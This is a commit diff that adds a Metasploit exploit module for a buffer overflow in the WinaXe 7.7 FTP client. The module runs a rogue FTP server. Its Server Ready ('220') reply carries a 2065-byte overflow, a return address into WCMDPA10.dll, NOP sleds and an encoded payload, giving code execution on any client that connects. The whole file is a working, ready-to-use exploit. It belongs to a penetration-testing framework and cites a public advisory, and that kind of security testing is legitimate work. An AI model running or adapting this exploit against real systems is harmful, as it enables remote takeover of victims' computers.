Land rapid7#7540, Add WinaXe 7.7 FTP client Server Ready buffer overflow

Author: wchen-r7

modules/exploits/windows/ftp/winaxe_server_ready.rb

@@ -0,0 +1,71 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = GoodRanking
+
+  include Msf::Exploit::Remote::FtpServer
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'WinaXe 7.7 FTP Client Remote Buffer Overflow',
+      'Description'    => %q{
+          This module exploits a buffer overflow in the WinaXe 7.7 FTP client.
+        This issue is triggered when a client connects to the server and is
+        expecting the Server Ready response.
+      },
+      'Author' =>
+        [
+          'Chris Higgins',  # msf Module -- @ch1gg1ns
+          'hyp3rlix'        # Original discovery
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'EDB', '40693'],
+          [ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ]
+        ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'thread'
+        },
+      'Payload'        =>
+        {
+          'Space'    => 1000,
+          'BadChars' => "\x00\x0a\x0d"
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'Windows Universal',
+            {
+              'Offset' => 2065,
+              'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll
+            }
+          ]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => 'Nov 03 2016',
+      'DefaultTarget'  => 0))
+  end
+
+  def on_client_unknown_command(c, _cmd, _arg)
+    c.put("200 OK\r\n")
+  end
+
+  def on_client_connect(c)
+      print_status("Client connected...")
+
+      sploit =  rand_text(target['Offset'])
+      sploit << [target.ret].pack('V')
+      sploit << make_nops(10)
+      sploit << payload.encoded
+      sploit << make_nops(20)
+
+      c.put("220" + sploit + "\r\n")
+      c.close
+  end
+
+end